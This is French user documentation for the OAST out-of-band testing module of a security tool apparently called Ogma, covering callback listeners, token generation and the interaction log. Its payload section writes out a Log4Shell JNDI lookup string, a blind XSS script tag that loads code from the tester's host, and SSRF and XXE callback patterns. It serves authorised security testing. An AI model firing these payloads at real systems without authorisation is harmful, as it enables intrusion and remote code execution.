OAST
OAST (Out-of-Band Application Security Testing, ou tests de sécurité applicative hors bande) détecte les vulnérabilités qui ne produisent aucune réponse visible : la cible établit à la place une connexion sortante vers un service d'écoute que vous contrôlez, ce qui confirme le problème.
Fonctionnement
Ogma exécute des services d'écoute locaux pour plusieurs protocoles. Lorsqu'une application cible contacte l'un d'eux, l'interaction est enregistrée avec l'adresse IP source, l'horodatage, les données reçues et le jeton injecté.
Protocoles d'écoute
| Protocole | Port par défaut | Cas d'usage |
|---|---|---|
| HTTP | Configurable | SSRF, XSS aveugle, webhooks |
| HTTPS | Configurable | SSRF via TLS |
| DNS | Configurable | Injection aveugle, XXE, log4shell |
| SMTP | Configurable | Injection d'en-têtes de courriel, SSRF vers des services de messagerie |
Configurez les ports d'écoute et le nom de domaine utilisé dans les jetons générés dans le panneau de paramètres OAST.
Générer un jeton de rappel
- Ouvrez Utilitaires > OAST.
- Cliquez sur + Nouveau, puis sur Créer. Chaque jeton est propre à un test.
- Copiez le jeton. Il comprend votre domaine d'écoute et un identifiant unique afin de rattacher les interactions au test correspondant.
Exemple de format de jeton : [unique-id].[your-oast-domain]
Utiliser les jetons dans les charges utiles
Injectez le jeton de rappel dans tout champ susceptible d'amener l'application à établir une connexion sortante :
- SSRF : utilisez le jeton HTTP/HTTPS comme URL cible :
https://[token]/ - XXE : référencez le jeton dans un DOCTYPE ou dans l'URL d'une entité externe.
- Log4Shell : insérez-le dans un en-tête :
${jndi:ldap://[token]/a} - XSS aveugle : injectez-le comme attribut src d'un script :
<script src="https://[token]/x.js"></script> - Injection SMTP : utilisez-le comme adresse de destination ou comme URL dans les en-têtes d'un courriel.
Journal des interactions
Le panneau des interactions affiche chaque rappel reçu :
| Colonne | Description |
|---|---|
| Heure (Time) | Moment de réception de l'interaction |
| Protocole (Protocol) | HTTP, HTTPS, DNS ou SMTP |
| IP source (Source IP) | Adresse IP à l'origine de la connexion |
| Jeton (Token) | Jeton contacté |
| Données (Data) | Chemin de la requête, nom demandé dans la requête DNS ou données SMTP |
Cliquez sur une ligne pour consulter les détails complets de l'interaction, y compris les en-têtes et le corps de la requête lorsqu'ils sont disponibles.
Rattacher les interactions aux tests
Chaque jeton étant unique, vous pouvez injecter des jetons différents dans des paramètres ou des requêtes différents et déterminer précisément quel point d'injection a déclenché le rappel.